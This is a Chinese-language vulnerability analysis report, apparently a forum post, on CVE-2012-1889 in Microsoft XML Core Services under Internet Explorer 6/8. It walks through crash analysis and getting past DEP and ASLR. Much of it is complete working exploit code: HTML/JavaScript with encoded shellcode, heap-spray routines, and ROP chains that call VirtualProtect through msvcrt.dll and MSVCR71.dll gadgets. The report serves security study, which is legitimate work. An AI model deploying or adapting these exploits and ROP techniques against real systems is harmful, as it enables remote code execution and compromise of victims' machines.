个人学习漏洞挖掘时参照看雪之前另一篇对暴雷漏洞的分析写下的漏洞分析报告,相比之前前辈的报告,着重讲述了在XP+IE8和Win7+IE8中过DEP于ASLR的内容,部分与之前RedOrange大佬的帖子内容有重合的部分,因最终篇幅较长楼主就一笔带过,大家可以参考RedOrange大佬的雷暴漏洞分析贴。 http://bbs.pediy.com/thread-215974.htm
新手入行,道行尚浅,如有疏忽错漏之处请各位坛友指点。 Microsoft XML Core Services 缓冲区溢出漏洞
(CVE-2012-1889 )
漏洞分析报告
软件名称 : Microsoft Internet Explorer
软件版本 : 6.0\8.0
漏洞模块 : msxml3.dll
模块版本 : -
编译日期 : 2008-04-14
操作系统 : Windows XP/7
漏洞编号 : CVE-2012-1889
危害等级 :高危
漏洞类型 :缓冲区溢出
威胁类型 :远程
分析人: PineCone
2017 年 7 月 12 日
Microsoft XML Core Services(MSXML) 是一组用于用 Jscript 、 VBScript 、 Microsoft 开发工具编写构筑基于 XML 的 Windows-native 应用的服务。
Microsoft XML Core Services 3.0~6.0 版本中存在漏洞,该漏洞源于访问未初始化内存的位置。远程攻击者可借助特制的 web 站点利用该漏洞执行任意代码或导致拒绝服务。
1. 运行收集到的 PoC_1(见附件) ,在 Windows XP+IE6 的环境下用 Windbg 附加调试,程序运行至崩溃,中断处如图:
可见导致崩溃的 [ecx+18h] 中的 ecx 经过 eax 来自 [ebp-14h] 。
推测问题由 mov eax,dword ptr[ebp-14h] 产生。
2. 运行收集到的 PoC_2(见附件) ,在 Windows XP+IE6 的环境下用 Windbg 附加调试,程序运行至崩溃,中断处如图:
可见此时 eax 中为 0x0c0c0c0c, 即 ebp-14h 中为 0x0c0c0c0c
推测攻击数据被错误的当成了类对象
3. 结合 PoC_1 与 PoC_2 代码可知 PoC 用作方法调用 definition 函数,而 MSDN 中 definition 作为属性使用,作为属性的成员当作了方法使用因此触发了漏洞。因为 PoC_2 中提供了将 eax 变为 0x0c0c0c0c 的思路,确定可以使用堆喷射技术完成攻击。
4. 制作 PoC 利用漏洞。
微软在 IE8.0 中使用了 DEP 保护的技术,我们需要使用精准堆喷射以及 Ret2Libc 技术来完成攻击,本实验中一些 windbg 的指令需要 mona2 插件。
数据执行保护 (Data Execution Prevention,DEP) 是微软从 Windows XP SP2 开始加入的一种非常强悍的安全保护技术 , 它通过设置内存页的 NX/XD 标志位,来防止堆控件、栈空间的代码执行。
由于 IE 8.0 对堆喷射做了一定的限制,采用直接字符串赋值方式会被禁止,因此我们要将堆喷射时的代码做一些修改。
修改前
修改后
本次使用 Ret2Libc 技术绕过 DEP 检测
由于绝大多数的 x86 系统中内存的分页都是 4KB 大小 , 假如知道了一个地址距离某个内存页的起始偏移,就可以构建多个完全相同的内存块,并且在偏移位置有关键数据,以此构成精准堆喷射。
每个子数据块分为 4 部分: Padding , Ret2Libc , Payload , FillData 。
Padding 为衬垫部分,由大量的滑板指令组成,填充内存页起始到关键数据偏移,使用公式:相对偏移 =( 目标地址 -UserPtr 地址 )%0x1000/2 可得偏移为 0x5F6,UserPtr 可在 windbg 中如下图所示指令获得(需要加载符号)。
Ret2Libc 为绕过 DEP 最主要的部分,我们将使用此技术修改 0x0C0C0C0C 处内存分页的属性为可执行从而让 Payload 顺利生效,具体详情见 2.2.3 。
Payload 部分略。
FillData 为填充数据,由此部分将数据块填充到 4KB ,具体内容也是大量滑板指令。
根据前辈们的经验可知在 XP SP3+IE8 环境中,一个内存块大小为 0x40000, 并且有 0x02 的块启示与 0x21 的块结尾,故构造数据块时要在头尾预留出这两部分的大小。
2.2.3 Ret2Libc
返回到库函数执行 (Return to libc,Ret2Libc) 是指利用系统自身存在的代码 , 来调用一些可以关闭 DEP 的函数,由于整个过程我们使用的全部都是系统自身的代码,因此不存在被 DEP 阻拦的情况,当我们的代码运行完毕后, DEP 即失效,本例使用 VirtualProtect 函数修改内存页属性通过 DEP 。
首先我们需要一个可以将栈转移到我们可控内存空间的方法,我们将其称之为 StackPivot 的小构件 (Gadgets) ,例如 XCHG EAX,ESP 指令,因为我们要利用的数据在上一步精准堆喷射被存放在 0x0C0C0C0C ,而 EAX 的值也是 0x0C0C0C0CXCHG EAX,ESP 后, ESP 变为 0X0C0C0C0C ,即我们自己构筑了栈,后面的事就顺水推舟了。执行本处使用 mona 查找 XCHG EAX,ESP;RETN ,在 windbg 中输入 !py mona find -s "\x94\xc3" -m msvcrt.dll :
使用相同的方法在 msvcrt.dll 中找到 RETN 与 POP XXX 。
RETN: 0x77C17A42
POP EBP : 0x77BF398F
因为 ECX=[ECX]=EAX=[EAX]=0C0C0C0C 我们发现在溢出位置在这次构筑中无法完成攻击:
观察溢出点后发现幸好之后还有另一个可以利用的 CALL :
将栈溢出部分的数据由 0C0C0C0Ch 修改为 0C0C0C08h 使得 EAX 与 ECX 获得不同的值以避免 RETN 指令将 0C0C0C0Ch 作为返回地址。
具体构建内容如下:
2.2.4 构筑执行链
VirtualProtect 函数原型如下
通过调试获取 VirtualProtect 地址与 lpflOldProtect 需要的可写区域
VirtualProtect 地址: 0x7C801AD4
lpflOldProtect 所需区域: 0x77C2EFFC
然后制作执行链
拼接后的完整代码见 PoC 部分
在 Windows 7 操作系统中,又多了一种 ASLR 保护机制,我们以上一个实验为基础对代码作出修改。
地址空间布局随机化 (Address space layout randomization,ASLR) 是微软从 Windows Vista 开始加入的一种安全保护技术,它通过随机化几乎是所有模块的加载地址,使得预测指定地址或者使用指定地址的代码变成了一件十分困难的事。
不过在很多程序中,总有一些模块没有启用 ASLR ,我们利用这些模块来通过 ASLR 。首先输入 !py mona mod 查看哪些模块没有开始 ASLR :
我们发现 ”MSVCR71.dll” 模块未开启 ASLR ,使用它来作为我们的跳板
返回导向编程 (Return Oriented Programming,ROP) 是现在被应用于绕过 DEP/ASLR 的主流技术,其核心原理就是在内存中寻找诸多有意义的指令序列,通过 ret 将其连接起来构成一个特定的攻击逻辑,因此可以认为 Ret2libc 是 ROP 的一个子集。
由于 ROP 是一连串的 RETN 构成的,因此直接使用指令操作栈会遇到很大的困难,为了便于控制栈,我们可以利用 PUSHAD 会依次将 EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI 压入栈的特性,想办法使用 PUSHAD 来构建一个稳定的栈结构。
输入 !py mona findwild –s “jmp [eax]” –m MSVCR71.dll 查找模块中的 jmp [eax]
其他指令查找同理。
JMP [EAX] = 0x7C365506
RETN = 0x7C341555
LpflOldProtect = 0x7C38CFFC
Pop edi#retn = 0x7C341123
Pop esi#retn = 0x7C341920
Pop ebp#retn = 0x7C34BB22
Pop ebx#retn = 0x7C343866
Pop edx#retn = 0x7C343EE0
Pop ecx#retn = 0x7C347225
Pop eax#retn = 0x7C3766FF
使用 !py mona iat –m MSVCR71 获得 VirtualProtect 地址
VirtualProtect addr = 0x7C37A140
由于找不到 pushad#retn 组合,因此放宽要求,使用通配符进行搜索( pushad#*#retn ),选出合适的指令
Pushad # add al,0ef # retn =0x7C378C81
有了需要的指令,接下来就是构造 ROP 链了
ROP 链的逻辑比较复杂,详细逻辑请参考 PoC 3.3 部分代码及其注释。
3. PoC
利用堆喷射技术运行 shellcode 的 Exploit:
<html>
<head>
<title>CVE 2012-1889 PoC By:PineCone</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
<script>
// 1. 准备好Shellcode(unescape()是解码函数)
var cShellcode = unescape(
"\u8360\u20EC\u49EB\u6547\u5074\u6F72\u4163\u6464"+
"\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579"+
"\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D"+
"\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250"+
"\u636F\u7365\u0073\u6950\u656E\u6F43\u656E\uE800"+
"\u0000\u0000\u645B\u358B\u0030\u0000\u768B\u8B0C"+
"\u1C76\u368B\u568B\u5308\uE852\u0014\u0000\uF08B"+
"\u4B8D\u52C0\u5251\uD0FF\u535A\u5056\uE852\u006E"+
"\u0000\u8B55\u83EC\u0CEC\u8B52\u0855\u728B\u8D3C"+
"\u3234\u768B\u8D78\u3234\u7E8B\u8D1C\u3A3C\u7D89"+
"\u8BFC\u207E\u3C8D\u893A\uF87D\u7E8B\u8D24\u3A3C"+
"\u7D89\u33F4\uEBC0\u4001\u758B\u8BF8\u8634\u558B"+
"\u8D08\u3234\u5D8B\u8D0C\uB27B\u0EB9\u0000\uFC00"+
"\uA6F3\uE375\u758B\u33F4\u66FF\u3C8B\u8B46\uFC55"+
"\u348B\u8BBA\u0855\u048D\u5A32\uE58B\uC25D\u0008"+
"\u8B55\u83EC\u08EC\u5D8B\u8D14\uCF4B\u006A\u006A"+
"\uFF51\u0C55\u4B8D\u51DA\uFF50\u1055\u4589\u8DFC"+
"\uE64B\uFF51\u0875\u55FF\u8910\uF845\u4B8D\u6AF2"+
"\u5100\u6A51\uFF00\uFC55\u006A\u55FF\u8BF8\u5DE5"+
"\u10C2\u0000"
);
// 2. 制作一块滑板数据
// 2.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
var nSlideSize = 1024*1024 / 2; // 一个滑板指令区的大小(1MB)
var nMlcHadSize = 32 / 2; // 堆头部大小
var nStrLenSize = 4 / 2; // 堆长度信息大小
var nTerminatorSize = 2 / 2; // 堆结尾符号大小
var nScSize = cShellcode.length; // Shellcode大小
var nFillSize = nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize;
// 2.2 填充滑板指令,制作好一块填充数据
var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C
var cSlideData = new Array(); // 申请一个数组对象用于保存滑板数据
while (cFillData.length <= nSlideSize)
cFillData += cFillData;
cFillData = cFillData.substring(0, nFillSize);
// 3. 填充200MB的内存区域(申请200块1MB大小的滑板数据区),试图覆盖0x0C0C0C0C
// 区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
// 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
// 后面的Shellcode处,进而执行Shellcode。
for (var i = 0; i < 200; i++)
cSlideData[i] = cFillData + cShellcode;
// 4. 触发CVE 2012-1889漏洞
// 4.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
var obj15PB = document.getElementById('15PB').object;
// 4.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据
var srcImgPath = unescape("\u0C0C\u0C0C");
while (srcImgPath.length < 0x1000)
srcImgPath += srcImgPath;
srcImgPath = "\\\\15PB" + srcImgPath;
srcImgPath = srcImgPath.substr(0, 0x1000-10);
// 4.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名
var emtPic = document.createElement("img");
emtPic.src = srcImgPath;
emtPic.nameProp;
// 4.4 定义对象obj15PB(触发溢出)
obj15PB.definition(0);
</script>
</body>
</html> 保存为 htm 并运行,结果如下:
利用精准堆喷射与 Ret2Libc 的 Exploit :
<html>
<head>
<title>CVE-2012-1889 By:PineCone</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
<script>
// 1. 生成Padding
var cPadding = unescape("\u0C0C\u0C0C");
while (cPadding.length < 0x1000)
cPadding += cPadding;
cPadding = cPadding.substring(0, 0x5F6);
// 2. 制作Ret2Libc
var cRet2Libc = unescape(
// 0x0C0C0C0C | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step3
// 0x0C0C0C10 | 0x77BF398F : # POP EBP # RETN [msvcrt.dll] <-ROP Step4 跳过4字节(0x0C0C0C18)
// 0x0C0C0C14 | 0x77C0A891 : # XCHG EAX, ESP # RETN [msvcrt.dll] <-ROP Step2
// 0x0C0C0C18 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step5
// 0x0C0C0C1C | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step6
// 0x0C0C0C20 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step7
// 0x0C0C0C24 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step1/Step8
//
"\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]
"\u398F\u77BF" + // 0x77BF398F : # POP EBP # RETN [msvcrt.dll]
"\uA891\u77C0" + // 0x77C0A891 : # XCHG EAX, ESP # RETN [msvcrt.dll]
"\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]
"\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]
"\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]
"\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]<-ROP Entry
//
// 0x0C0C0C28 | 0x7C801AD4 : # Return to VirtualProtect <-ROP Step9
// 0x0C0C0C2C | 0x0C0C0C40 : # Return Addr(Payload Addr) <-ROP Step10
// 0x0C0C0C30 | 0x0C0C0C40 : # lpAddress = Payload Addr
// 0x0C0C0C34 | 0x00001000 : # dwSize = 0x00001000
// 0x0C0C0C38 | 0x00000040 : # flNewProtect = 0x00000040
// 0x0C0C0C3C | 0x77C2EFFC : # lpflOldProtect = 0x77C2EFFC
//
"\u1AD4\u7C80" + // 0x7C801AD4 : # Return to VirtualProtect
"\u0C40\u0C0C" + // 0x0C0C0C40 : # Return Addr(Payload Addr)
"\u0C40\u0C0C" + // 0x0C0C0C40 : # lpAddress = Payload Addr
"\u1000\u0000" + // 0x00001000 : # dwSize = 0x00001000
"\u0040\u0000" + // 0x00000040 : # flNewProtect = 0x00000040
"\uEFFC\u77C2" );// 0x77C2EFFC : # lpflOldProtect = 0x77C2EFFC
// 3. 准备好Payload(unescape()是解码函数)
var cPayload = unescape(
"\u8360\u20EC\u49EB\u6547\u5074\u6F72\u4163\u6464"+
"\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579"+
"\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D"+
"\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250"+
"\u636F\u7365\u0073\u6950\u656E\u6F43\u656E\uE800"+
"\u0000\u0000\u645B\u358B\u0030\u0000\u768B\u8B0C"+
"\u1C76\u368B\u568B\u5308\uE852\u0014\u0000\uF08B"+
"\u4B8D\u52C0\u5251\uD0FF\u535A\u5056\uE852\u006E"+
"\u0000\u8B55\u83EC\u0CEC\u8B52\u0855\u728B\u8D3C"+
"\u3234\u768B\u8D78\u3234\u7E8B\u8D1C\u3A3C\u7D89"+
"\u8BFC\u207E\u3C8D\u893A\uF87D\u7E8B\u8D24\u3A3C"+
"\u7D89\u33F4\uEBC0\u4001\u758B\u8BF8\u8634\u558B"+
"\u8D08\u3234\u5D8B\u8D0C\uB27B\u0EB9\u0000\uFC00"+
"\uA6F3\uE375\u758B\u33F4\u66FF\u3C8B\u8B46\uFC55"+
"\u348B\u8BBA\u0855\u048D\u5A32\uE58B\uC25D\u0008"+
"\u8B55\u83EC\u08EC\u5D8B\u8D14\uCF4B\u006A\u006A"+
"\uFF51\u0C55\u4B8D\u51DA\uFF50\u1055\u4589\u8DFC"+
"\uE64B\uFF51\u0875\u55FF\u8910\uF845\u4B8D\u6AF2"+
"\u5100\u6A51\uFF00\uFC55\u006A\u55FF\u8BF8\u5DE5"+
"\u10C2\u0000"
);
// 4. 准备好FillData
// 4.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
var nSlideSize = 0x1000; // 一个滑板指令块的大小(4KB)
var nPadSize = cPadding.length; // Padding大小
var nR2LSize = cRet2Libc.length; // Ret2Libc大小
var nPySize = cPayload.length; // Shellcode大小
var nFillSize = nSlideSize-nPadSize-nR2LSize-nPySize;
// 4.2 制作好一块填充数据
var cFillData = unescape("\u0C0C\u0C0C");
while (cFillData.length < nSlideSize)
cFillData += cFillData;
cFillData = cFillData.substring(0, nFillSize);
// 5. 构建滑板指令数据块
var nBlockSize = 0x40000; // 256KB
var cBlock = cPadding + cRet2Libc + cPayload + cFillData;
while (cBlock.length < nBlockSize)
cBlock += cBlock;
cBlock = cBlock.substring(2, nBlockSize-0x21);
// 6. 填充200MB的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C
// 区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
// 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
// 后面的Shellcode处,进而执行Shellcode。
var cSlideData = new Array();
for (var i = 0; i < 800; i++)
cSlideData[i] = cBlock.substr(0, cBlock.length);
// 7. 触发CVE 2012-1889漏洞
// 7.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
var obj15PB = document.getElementById('15PB').object;
// 7.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB”字节的数据
var srcImgPath = unescape("\u0C0C\u0C08");
while (srcImgPath.length < 0x1000)
srcImgPath += srcImgPath;
srcImgPath = "\\\\15PB_Com" + srcImgPath;
srcImgPath = srcImgPath.substr(0, 0x1000-10);
// 7.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名
var emtPic = document.createElement("img");
emtPic.src = srcImgPath;
emtPic.nameProp;
// 7.4 定义对象obj15PB(触发溢出)
obj15PB.definition(0);
</script>
</body>
</html> 运行结果如下:
注:此实验有失败几率,连续失败时提高虚拟机内存可显著提高成功率,具体原因推测为系统内存管理机制干扰
构造 ROP 链
制作ROP Chain
var cROP_Chain = unescape(
// 1. 构造ROP,以绕过DEP
// 0x0C0C0C0C | 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step1/Step3
// 0x0C0C0C10 | 0x7C34BB22 : # POP EBP # RETN [msvcrt.dll] <-ROP Step4 跳过4字节(0x0C0C0C18)
// 0x0C0C0C14 | 0x7C348B05 : # XCHG EAX, ESP # RETN [msvcrt.dll] <-ROP Step2
// 0x0C0C0C18 | 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step5
// 0x0C0C0C1C | 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step6
// 0x0C0C0C20 | 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step7
// 0x0C0C0C24 | 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll] <-ROP Step0/Step8
//
"\u1555\u7C34" + // 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll]
"\uBB22\u7C34" + // 0x7C34BB22 : # POP EBP # RETN [msvcrt.dll]
"\u8B05\u7C34" + // 0x7C348B05 : # XCHG EAX,ESP # RETN [msvcrt.dll]
"\u1555\u7C34" + // 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll]
"\u1555\u7C34" + // 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll]
"\u1555\u7C34" + // 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll]
"\u1555\u7C34" + // 0x7C341555 : # RETN (ROP NOP) [msvcrt.dll]<-ROP Entry
// ADDR DATA
// 0x0C0C0C28 | 0x7C341123 : # POP EDI # RETN <-ROP Step10 (EDI = 0x7C341555, Nop)
// 0x0C0C0C2C | 0x7C341555 : > Data: RETN (ROP NOP)
// 0x0C0C0C30 | 0x7C341920 : # POP ESI # RETN <-ROP Step11 (ESI = 0x7C365506, 执行API)
// 0x0C0C0C34 | 0x7C365506 : > Data: JMP [EAX]
// 0x0C0C0C38 | 0x7C34BB22 : # POP EBP # RETN <-ROP Step12 (EBP = 0x7C34BB22, 跳过4字节,下面详细解释)
// 0x0C0C0C3C | 0x7C34BB22 : > Data: POP EBP # RETN
// 0x0C0C0C40 | 0x7C343866 : # POP EBX # RETN <-ROP Step13 (EBX = 0x00001000, dwSize)
// 0x0C0C0C44 | 0x00001000 : > Data: dwSize = 0x1000
// 0x0C0C0C48 | 0x7C343EE0 : # POP EDX # RETN <-ROP Step14 (EDX = 0x00000040, NewProtect)
// 0x0C0C0C4C | 0x00000040 : > Data: NewProtect = 0x40
// 0x0C0C0C50 | 0x7C347225 : # POP ECX # RETN <-ROP Step15 (ECX = 0x7C38CFFC, OldProtect)
// 0x0C0C0C54 | 0x7C38CFFC : > Data: &Writable location
// 0x0C0C0C58 | 0x7C3766FF : # POP EAX # RETN <-ROP Step16 (EAX = 0x77BE1031, VirtualProtect())
// 0x0C0C0C5C | 0x7C37A151 : > Data: VirtualProtect-Byte:0xEF Addr
// 0x0C0C0C60 | 0x7C378C81 : # PUSHAD # ADD AL,0EF # RETN <-ROP Step17 (构建新栈)
// 0x0C0C0C64 | 0x7C345C30 : # PUSH ESP # RETN
//
// Note : After Execute [PUSHAD] And [ADD AL,0EF] And [RETN]......
// 0x0C0C0C28 | 0x7C341123 : # POP EDI # RETN
// 0x0C0C0C2C | 0x7C341555 : # RETN (ROP NOP)
// 0x0C0C0C30 | 0x7C341920 : # POP ESI # RETN
// 0x0C0C0C34 | 0x7C365506 : # JMP [EAX]
// 0x0C0C0C38 | 0x7C34BB22 : # POP EBP # RETN
// 0x0C0C0C3C | 0x7C34BB22 : # POP EBP # RETN
// 0x0C0C0C40 | 0x7C343866 : # POP EBX # RETN
// ------------------------------------------------------------------------------------------------
// 0x0C0C0C44 | 0x7C341555 : # RETN (ROP NOP) <-ROP Step18
// 0x0C0C0C48 | 0x7C365506 : # JMP [EAX] <-ROP Step19 ( 执行API后返回到0x7C34BB22,并跳过16字节 )
// 0x0C0C0C4C | 0x7C34BB22 : # POP EBP # RETN <-ROP Step20 ( 跳过4字节0x0C0C0C60,返回到0x7C345C30 )
// 0x0C0C0C50 | 0x0C0C0C64 : # Payload Addr
// 0x0C0C0C54 | 0x00001000 : # dwSize = 0x1000
// 0x0C0C0C58 | 0x00000040 : # NewProtect = 0x40
// 0x0C0C0C5C | 0x7C38CFFC : # &Writable location
// 0x0C0C0C60 | 0x7C37A151 : # VirtualProtect Addr
// 0x0C0C0C64 | 0x7C345C30 : PUSH ESP # RETN <-ROP Step21 (JMP Payload)
//
"\u1123\u7C34" + // 0x7C341123 : # POP EDI # RETN
"\u1555\u7C34" + // 0x7C341555 : # RETN (ROP NOP)
"\u1920\u7C34" + // 0x7C341920 : # POP ESI # RETN
"\u5506\u7C36" + // 0x7C365506 : # JMP [EAX]
"\uBB22\u7C34" + // 0x7C34BB22 : # POP EBP # RETN
"\uBB22\u7C34" + // 0x7C34BB22 : # POP EBP # RETN
"\u3866\u7C34" + // 0x7C343866 : # POP EBX # RETN
"\u1000\u0000" + // 0x00001000 : # dwSize = 0x1000
"\u3EE0\u7C34" + // 0x7C343EE0 : # POP EDX # RETN
"\u0040\u0000" + // 0x00000040 : # NewProtect = 0x40
"\u7225\u7C34" + // 0x7C347225 : # POP ECX # RETN
"\uCFFC\u7C38" + // 0x7C38CFFC : # &Writable location
"\u66FF\u7C37" + // 0x7C3766FF : # POP EAX # RETN
"\uA151\u7C37" + // 0x7C37A151 : # VirtualProtect Addr
"\u8C81\u7C37" + // 0x7C378C81 : # PUSHAD # ADD AL,0EF # RETN
"\u5C30\u7C34" );// 0x7C345C30 : # # PUSH ESP # RETN 完整代码请参照附件中PoC
运行结果如下
本漏洞为从 Windows XP 到 Window8 所有版本操作系统共有的远程攻击漏洞,有着危害性大、可持续攻击、攻击难度系数低、攻击范围广的特点,属于高危漏洞,在漏洞的分析过程中,我对漏洞挖掘的初级知识有了更深的认识以及对工具的使用更加熟练,还了解了一些 html 与 javascript 的知识 , 。感谢 15PB 的任老师与赵老师在本次分析工作中的的悉心指导。
[1] 任晓辉 . 《 15PB 信息安全教育:安全机制绕过》 .2017-07-10.
[2] 王清 . 《 0day 安全:软件漏洞分析技术(第 2 版)》 2011-06
[3] RedOrange. 《暴雷漏洞 ( CVE-2012-1889 )个人漏洞分析报告》 . 看雪论坛 .2017-02-27.
[培训]《安卓高级研修班(网课)》月薪三万计划,掌
握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
上传的附件: